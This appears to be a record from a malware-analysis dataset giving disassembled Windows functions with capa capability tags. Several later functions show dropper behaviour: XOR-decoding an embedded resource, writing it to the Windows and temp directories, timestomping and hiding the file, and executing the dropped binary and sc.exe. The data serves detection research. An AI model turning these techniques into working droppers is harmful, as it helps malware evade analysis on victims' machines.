joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002889c
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [0x14021e7e0]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rcx
lea rcx, [rsp + 0x20]
mov edx, 0x105
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x1400288d2
xor eax, eax
jmp 0x14002891e
lea rcx, [rsp + 0x20]
call fcn.140160000
cmp word [rsp + rax*2 + 0x1e], 0x5c
je 0x1400288fe
lea r8, [0x140193950]
lea rcx, [rsp + 0x20]
mov edx, 0x105
call fcn.140162148
test eax, eax
jne 0x1400288ce
lea rcx, [rsp + 0x20]
mov r8, rbx
mov edx, 0x105
call fcn.140162148
test eax, eax
jne 0x1400288ce
lea rcx, [rsp + 0x20]
call fcn.1400175bc
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.14015f240
add rsp, 0x240
pop rbx
ret

Function at 0x14002b060
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
mov rdi, rdx
test rcx, rcx
je 0x14002b086
mov r8, rdx
mov rdx, qword [rbx]
call fcn.140014474
jmp 0x14002b0ed
cmp byte [0x14022d8e0], 0
jne 0x14002b0ca
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14002b0ba
lea rdx, str.RegDeleteKeyExA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14022d8d8], rax
jmp 0x14002b0c1
mov rax, qword [0x14022d8d8]
mov byte [0x14022d8e0], 1
jmp 0x14002b0d1
mov rax, qword [0x14022d8d8]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x14002b0e7
mov r8d, dword [rbx + 8]
xor r9d, r9d
call rax
jmp 0x14002b0ed
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14002b3e4
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rdx]
mov rbx, rdx
cmp dword [rcx - 0x10], 0
je 0x14002b416
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14002b416
lea rcx, [rdi + 0x120]
mov rdx, rbx
call fcn.140083f50
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140096048
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
xor ebx, ebx
mov rdi, r8
mov rsi, rdx
mov r13, rcx
test r8, r8
jne 0x140096079
call fcn.140020650
mov rdi, qword [rax + 0x18]
mov r8, qword [0x14022fed0]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbp, rax
test rax, rax
jne 0x140096098
xor eax, eax
jmp 0x1400960e4
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x140096094
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r12, rax
test rax, rax
je 0x1400960d9
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, r12
mov rcx, r13
mov r8d, eax
call fcn.140095f08
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret

Function at 0x1400f6fa0
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
cmp dword [rcx + 0x28], ebx
je 0x1400f6fb1
xor eax, eax
jmp 0x1400f6fdf
mov rcx, qword [rcx + 8]
lea rax, [rsp + 0x40]
mov r9d, 4
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret

Function at 0x1400f7174
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
cmp dword [rcx + 0x28], ebx
je 0x1400f7185
xor eax, eax
jmp 0x1400f71a9
mov rcx, qword [rcx + 8]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], r8
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret

Function at 0x1400f71b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
sub rsp, 0x38
mov rcx, qword [rcx + 8]
lea rax, [r11 + 8]
lea r9, [r11 + 0x20]
mov qword [r11 - 0x10], rax
mov qword [r11 - 0x18], r8
xor r8d, r8d
mov dword [rsp + 0x40], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
xor edx, edx
test eax, eax
jne 0x1400f71f2
mov ecx, dword [rsp + 0x58]
sub ecx, 4
neg ecx
sbb eax, eax
and eax, 0xd
test eax, eax
sete dl
mov eax, edx
add rsp, 0x38
ret
Function at 0x1400f7304
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rdi, r9
mov rbx, r8
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
jne 0x1400f732f
call fcn.14000f14c
int3
test rbx, rbx
jne 0x1400f733a
call fcn.14000f14c
int3
test r9, r9
jne 0x1400f7345
call fcn.14000f14c
int3
and qword [r8], 0
and dword [r9], 0
mov rcx, qword [rcx + 8]
mov qword [rsp + 0x28], r9
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400f73c8
cmp dword [rsp + 0x48], 3
jne 0x1400f73c8
test eax, eax
jne 0x1400f73c8
cmp dword [rdi], eax
je 0x1400f73c8
mov ecx, dword [rdi]
call fcn.14000de38
lea r9, [rsp + 0x48]
xor r8d, r8d
mov qword [rbx], rax
mov rcx, qword [rbp + 8]
mov rdx, rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400f73bc
cmp dword [rsp + 0x48], 3
jne 0x1400f73bc
test eax, eax
jne 0x1400f73bc
mov eax, 1
jmp 0x1400f73ca
mov rcx, qword [rbx]
call fcn.14000de7c
and qword [rbx], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x1400f74d4
Capabilities:
Delete registry value

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx + 8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
add rsp, 0x28
ret

Function at 0x14013bbdc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
test byte [rdx + 4], 1
mov esi, r8d
mov rbx, rdx
mov rbp, rcx
je 0x14013bc05
mov rdi, qword [rdx + 0x10]
jmp 0x14013bc56
mov rdx, qword [rdx + 0x10]
mov rcx, qword [rbx + 8]
mov r8d, 5
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
jne 0x14013bc26
call fcn.140024fb4
mov rcx, qword [rbx + 8]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
jne 0x14013bc40
call fcn.140024fb4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
jne 0x14013bc56
call fcn.140024fb4
call fcn.140020650
cmp qword [rax + 0x68], 0
je 0x14013bc70
mov rdx, rdi
mov rcx, rbp
call fcn.14013a36c
mov rdi, rax
mov edx, esi
mov rcx, rdi
call fcn.14013ba1c
mov rcx, qword [rbp + 0xe8]
mov rsi, rax
test rcx, rcx
je 0x14013bc97
call qword [sym.imp.KERNEL32.dll_GlobalFree]
and qword [rbp + 0xe8], 0
test rsi, rsi
je 0x14013bca6
mov rdi, rsi
mov qword [rbp + 0xe8], rsi
or dword [rbx + 4], 1
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov qword [rbx + 0x10], rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140160b5c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1401609cc
Function at 0x140166d13
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14021e7e0]
jne 0x14015f25a
rol rcx, 0x10
test cx, 0xffff
jne 0x14015f256
repz ret
ror rcx, 0x10
jmp 0x140166c6c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140233890]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140233988]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140166cf1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140233890]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140166d13
mov rax, qword [rsp + 0x88]
mov qword [0x140233988], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140233928], rax
mov rax, qword [0x140233988]
mov qword [0x140233800], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140233910], rax
mov dword [0x1402337f0], 0xc0000409
mov dword [0x1402337f4], 1
mov rax, qword [0x14021e7e0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14021e7e8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140233888], eax
mov ecx, 1
call fcn.1401722e8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1401db7d8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140233888], 0
jne 0x140166d9a
mov ecx, 1
call fcn.1401722e8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140172a4c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14021e7e0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.1401654f0
xor ebx, ebx
cmp qword [0x1402348b0], rbx
mov rdi, rax
jne 0x140172b5f
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140172c36
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140172c36
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x1401ddb88]
mov rcx, rsi
mov qword [0x1402348b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x1401ddb70]
mov rcx, rsi
mov qword [0x1402348b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1402348c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x1402348d0], rax
test rax, rax
je 0x140172b56
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x1402348c8], rax
jmp 0x140172b66
mov rax, qword [0x1402348c8]
jmp 0x140172b6d
mov rax, qword [0x1402348c8]
mov r11, qword [0x1402348d0]
cmp rax, rdi
je 0x140172bd4
cmp r11, rdi
je 0x140172bd4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x1402348d0]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140172bd4
test rax, rax
je 0x140172bd4
call rsi
test rax, rax
je 0x140172bce
lea rcx, [rsp + 0x30]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140172bce
test byte [rsp + 0x40], 1
jne 0x140172bd4
bts ebp, 0x15
jmp 0x140172c14
mov rcx, qword [0x1402348b8]
cmp rcx, rdi
je 0x140172c14
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140172c14
call rax
mov rbx, rax
test rax, rax
je 0x140172c14
mov rcx, qword [0x1402348c0]
cmp rcx, rdi
je 0x140172c14
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140172c14
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1402348b0]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140172c36
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140172c38
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14015f240
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400015a0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x510
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x500], rax
mov rbx, rcx
mov rdi, rdx
mov esi, 0x68
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8, rsi
call sub.MSVCR90.dll_memset
xor eax, eax
mov dword [rsp + 0x70], esi
lea rcx, [rsp + 0x2f2]
xor esi, esi
xor edx, edx
mov r8d, 0x206
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov word [rsp + 0x2f0], si
mov qword [rsp + 0x60], rax
call sub.MSVCR90.dll_memset
mov r9d, 0x103
mov r8, rbx
lea rcx, [rsp + 0x2f0]
lea ebx, [r9 + 1]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcsncpy_s]
lea rcx, [rsp + 0xe2]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0xe0], si
call sub.MSVCR90.dll_memset
lea r9d, [rbx - 1]
lea rcx, [rsp + 0xe0]
mov r8, rdi
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcsncpy_s]
lea r11, [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
lea rdx, [rsp + 0x2f0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
je 0x1400016ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, esi
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.140003490
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140001928
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x1400054f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbx + 0x50], rax
test rax, rax
jne 0x14000194e
xor al, al
jmp 0x1400019ea
lea rdx, [0x140005510]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x50]
test rax, rax
jne 0x140001976
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [rbx + 0x5c], 2
jmp 0x140001947
lea rdx, str.Process32FirstW
mov qword [rbx + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x50]
test rax, rax
je 0x140001967
lea rdx, str.Process32NextW
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x50]
test rax, rax
je 0x140001967
lea rdx, str.Module32FirstW
mov qword [rbx + 0x30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x50]
test rax, rax
je 0x140001967
lea rdx, str.Module32NextW
mov qword [rbx + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400019e0
mov rcx, qword [rbx + 0x50]
jmp 0x140001967
mov qword [rbx + 0x40], rax
mov byte [rbx + 0x59], 1
mov al, 1
add rsp, 0x20
pop rbx
ret
Function at 0x140002af8
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x280], rax
and dword [rsp + 0x60], 0
mov dword [rsp + 0x64], edx
lea rcx, [rsp + 0x70]
lea rdx, [0x140005658]
mov r8d, 0x34
call sub.MSVCR90.dll_memcpy
lea rcx, [rsp + 0xa4]
xor edx, edx
mov r8d, 0x1d4
call sub.MSVCR90.dll_memset
lea rdx, [rsp + 0x50]
mov rdi, 0xffffffff80000002
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x70]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140002bbb
lea rax, [rsp + 0x68]
lea rdx, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov rcx, rdi
mov dword [rsp + 0x28], 0x20006
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002ce1
mov rcx, qword [rsp + 0x50]
mov esi, 4
lea rax, [rsp + 0x5c]
lea rdx, str.VERSION_Value
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x5c], 0x4e3f
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
or rcx, 0xffffffffffffffff
lea rdx, [0x140005690]
xor eax, eax
mov rdi, rdx
lea r9d, [rsi - 3]
repne scasw ax, word [rdi]
xor r8d, r8d
not rcx
lea eax, [rcx + rcx + 2]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdx
lea rdx, [0x140005780]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
or rcx, 0xffffffffffffffff
lea rdx, str.ff3487rbea4775grsn9_.uvu_a35_7754_bml_22114i81
xor eax, eax
mov rdi, rdx
lea r9d, [rsi - 3]
repne scasw ax, word [rdi]
xor r8d, r8d
not rcx
lea eax, [rcx + rcx + 2]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdx
lea rdx, [0x1400057a0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x60]
lea rdx, [0x1400057c0]
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x64]
lea rdx, str.DNS_Value
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call fcn.140002a40
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
lea rdx, str.SubNet_Value
mov r9d, esi
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002cf1
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140003490
mov rsi, qword [rsp + 0x2a0]
add rsp, 0x290
pop rdi
ret
Function at 0x140002d14
Capabilities:
Set file attributes
Timestomp file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
xor esi, esi
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rax - 0x28], rsi
lea r8d, [rsi + 3]
mov dword [rax - 0x30], 0x2000000
mov dword [rax - 0x38], r8d
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140002d5a
xor eax, eax
jmp 0x140002df2
mov eax, 0x7da
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
mov word [rsp + 0x40], ax
mov eax, 0xb
mov word [rsp + 0x44], si
mov word [rsp + 0x42], ax
mov eax, 0x15
mov word [rsp + 0x4e], si
mov word [rsp + 0x46], ax
mov eax, 0x12
mov word [rsp + 0x48], ax
mov eax, 7
mov word [rsp + 0x4a], ax
mov eax, 5
mov word [rsp + 0x4c], ax
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea r9, [rsp + 0x68]
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, 1
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret

Function at 0x140002e04
Capabilities:
Delete file
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 8], rsi
push rdi
sub rsp, 0x360
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x350], rax
lea rcx, [rsp + 0x31]
xor esi, esi
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x30], sil
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
mov rax, qword [0x140005810]
lea rcx, [rsp + 0x30]
mov qword [rdi - 1], rax
mov rax, qword [0x140005818]
mov qword [rdi + 7], rax
mov al, byte [0x140005820]
mov byte [rdi + 0xf], al
call qword [sym.imp.MSVCR90.dll_remove]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x142]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x140], si
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x140]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea r8, [0x140005828]
lea rcx, [rsp + 0x140]
mov edx, 0x104
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
mov ecx, 0x95
mov dword [rsp + 0x20], esi
call fcn.14000110c
mov rdi, rax
cmp rax, rsi
je 0x140002f3b
mov r8d, dword [rsp + 0x20]
cmp r8d, esi
jle 0x140002f16
mov rcx, rax
mov rdx, r8
xor byte [rcx], 0x99
inc rcx
sub rdx, 1
jne 0x140002f0a
lea rcx, [rsp + 0x140]
mov rdx, rax
call fcn.1400011e4
lea rcx, [rsp + 0x140]
call fcn.140002d14
mov rcx, rdi
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
xor eax, eax
mov rcx, qword [rsp + 0x350]
xor rcx, rsp
call fcn.140003490
mov rsi, qword [rsp + 0x370]
add rsp, 0x360
pop rdi
ret
Function at 0x140002fbc
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x460
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov ebx, 0x206
lea rcx, [rsp + 0x242]
xor edi, edi
mov r8, rbx
xor edx, edx
mov word [rsp + 0x240], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x32]
mov r8, rbx
xor edx, edx
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
mov ebx, 0x104
lea rdx, [rsp + 0x240]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [rsp + 0x30]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, str.asdx64.exe
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
lea ecx, [rbx - 0x6f]
mov dword [rsp + 0x20], edi
call fcn.14000110c
mov rbx, rax
cmp rax, rdi
je 0x140003093
mov r8d, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.1400011e4
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x30]
call fcn.1400015a0
mov rcx, rbx
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140003490
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rdi
ret

Function at 0x1400030b8
Capabilities:
Create process on windows
Get common file path

Disassembly:
push rdi
sub rsp, 0x460
mov rax, qword [0x140008020]
xor rax, rsp
mov qword [rsp + 0x450], rax
lea rcx, [rsp + 0x242]
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x240], di
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], di
call sub.MSVCR90.dll_memset
lea ecx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x240]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov r11, rdi
movzx eax, word [rsp + r11 + 0x240]
add r11, 2
mov word [rsp + r11 + 0x2e], ax
cmp ax, di
jne 0x140003128
lea r8, str.sc.exe
lea rcx, [rsp + 0x30]
mov edx, 0x104
call qword [sym.imp.MSVCR90.dll_wcscat_s]
lea rdx, [rsp + 0x30]
mov r8d, 1
mov ecx, 0x96
call fcn.14000126c
lea r8, [rsp + 0x30]
lea rdx, [0x140005868]
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140003490
add rsp, 0x460
pop rdi
ret